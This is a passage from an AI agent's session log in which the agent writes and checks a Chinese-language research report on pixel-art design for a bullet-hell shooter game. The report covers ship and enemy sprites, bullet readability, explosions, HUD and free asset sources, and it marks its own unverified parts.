**敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。"}, "ts": 1787459536996}, {"type": "progress", "id": "call_d50cb731e612477f9e864c00", "tool": "write_file", "status": "completed", "args": {"file_path": "research/pixel_art_style/pixel_art_research.md", "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告\n\n> 调研时间:2026-08-23\n> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源\n> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)\n\n---\n\n## 0. 摘要与总体结论\n\n- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。\n- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。\n- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。\n- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。\n- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。\n\n---\n\n## 1. 玩家飞船 / 角色设计\n\n### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)\n\n- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。\n- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。\n- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。\n- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。\n\n**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。\n\n### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)\n\n综合 SLYNYRD 教程与 Boghog 指南:\n\n- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。\n- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。\n- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。\n- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。\n- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。\n- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。\n\n### 1.3 东方Project 系列的角色精灵风格\n\n(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)\n\n- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。\n- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。\n- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。\n- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。\n- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。\n\n### 1.4 像素飞船设计要点(落地 Checklist)\n\n| 项目 | 建议 |\n|---|---|\n| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |\n| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |\n| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |\n| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |\n| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |\n| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |\n\n### 1.5 判定框(Hitbox)视觉提示设计\n\n- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。\n- **视觉提示做法(主流方案)**:\n 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。\n 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。\n 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。\n- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。\n\n---\n\n## 2. 敌方单位设计\n\n### 2.1 杂兵(Enemy Grunts)的像素设计\n\n- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。\n- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):\n - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。\n - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。\n- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。\n- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。\n- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。\n\n### 2.2 Boss 的体型与细节层次\n\n- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。\n- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。\n- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。\n- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。\n- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。\n\n### 2.3 敌方攻击前的视觉预警(Telegraph)\n\n- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。\n- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。\n- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。\n- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。\n- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。\n- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。\n\n---\n\n## 3. 子弹 / 弹幕的像素美术\n\n### 3.1 常见像素子弹样式与尺寸\n\n**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。\n\n| 子弹类型 | 常见尺寸 | 形态与用途 |\n|---|---|---|\n| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |\n| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |\n| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |\n| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |\n| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |\n| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |\n\n### 3.2 子弹颜色与类型的对应关系\n\n- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。\n- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:\n - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;\n - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);\n - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。\n- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。\n- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。\n\n### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)\n\n- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。\n- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。\n- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。\n- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。\n- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。\n- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。\n\n### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)\n\n- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。\n- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。\n- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。\n- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。\n- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。\n- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。\n- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。\n\n---\n\n## 4. 特效与 UI\n\n### 4.1 爆炸特效的像素动画(SLYNYRD 方法)\n\n- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。\n- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。\n- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。\n- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。\n- **冲击波**:把引导环稍作修改即可成冲击波环。\n- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。\n- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。\n\n### 4.2 拾取道具的视觉效果\n\n- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。\n- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。\n- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。\n- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。\n- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。"}, "ts": 1787459537022}, {"type": "progress", "id": "call_686f6d2a524e42c8814f49b1", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/research/pixel_art_style/ && wc -l /Users/demo/starraid/research/pixel_art_style/pixel_art_research.md && head -20 /Users/demo/starraid/research/pixel_art_style/pixel_art_research.md", "timeout": 30}, "ts": 1787459540420}, {"type": "progress", "id": "call_686f6d2a524e42c8814f49b1", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/research/pixel_art_style/ && wc -l /Users/demo/starraid/research/pixel_art_style/pixel_art_research.md && head -20 /Users/demo/starraid/research/pixel_art_style/pixel_art_research.md", "timeout": 30}, "ts": 1787459540464}, {"type": "progress", "id": "call_a408a501756e44adbaca2207", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [6]}, "ts": 1787459543369}, {"type": "progress", "id": "call_a408a501756e44adbaca2207", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [6]}, "ts": 1787459543369}]}} \ No newline at end of file diff --git a/demo/mock/bootstrap-conv_20260823_122836_778.json b/demo/mock/bootstrap-conv_20260823_122836_778.json new file mode 100644 index 0000000..a828580 --- /dev/null +++ b/demo/mock/bootstrap-conv_20260823_122836_778.json @@ -0,0 +1 @@ +{"success": true, "data": {"conversation_id": "conv_20260823_122836_778", "edited_files": [{"path": "research/pixel_art_style/pixel_art_research.md", "op": "write"}, {"path": "research/weapon_system/weapon_research.md", "op": "write"}], "messages": [{"role": "user", "content": "我要做一个像素风格的弹幕射击游戏,但我不知道如何美术设计,请你帮我去调研一下其他的弹幕游戏的武器和敌方的射击,用 [$sub-agent-guide](.astrion/skills/sub-agent-guide/SKILL.md) 去调研", "timestamp": "2026-08-23T12:28:37.104822", "message_id": "msg_bd8cd5069b124b35822dd007a9936799", "metadata": {"message_source": "user", "visibility": "chat", "starts_work": true, "work_timer": {"status": "completed", "started_at": "2026-08-23T12:28:37.104815", "finished_at": "2026-08-23T12:35:23.108235", "duration_ms": 406003}, "edit_summary": {"version": 1, "updated_at": "2026-08-23T12:32:27.760946", "files": [{"path": "research/pixel_art_style/pixel_art_research.md", "baseline": null, "baseline_truncated": false, "created_at": "2026-08-23T12:32:17.013307", "status": "added", "added": 259, "removed": 0, "lines": [{"type": "add", "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告", "new_no": 1}, {"type": "add", "content": "", "new_no": 2}, {"type": "add", "content": "> 调研时间:2026-08-23", "new_no": 3}, {"type": "add", "content": "> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源", "new_no": 4}, {"type": "add", "content": "> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)", "new_no": 5}, {"type": "add", "content": "", "new_no": 6}, {"type": "add", "content": "---", "new_no": 7}, {"type": "add", "content": "", "new_no": 8}, {"type": "add", "content": "## 0. 摘要与总体结论", "new_no": 9}, {"type": "add", "content": "", "new_no": 10}, {"type": "add", "content": "- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。", "new_no": 11}, {"type": "add", "content": "- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。", "new_no": 12}, {"type": "add", "content": "- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。", "new_no": 13}, {"type": "add", "content": "- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。", "new_no": 14}, {"type": "add", "content": "- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。", "new_no": 15}, {"type": "add", "content": "", "new_no": 16}, {"type": 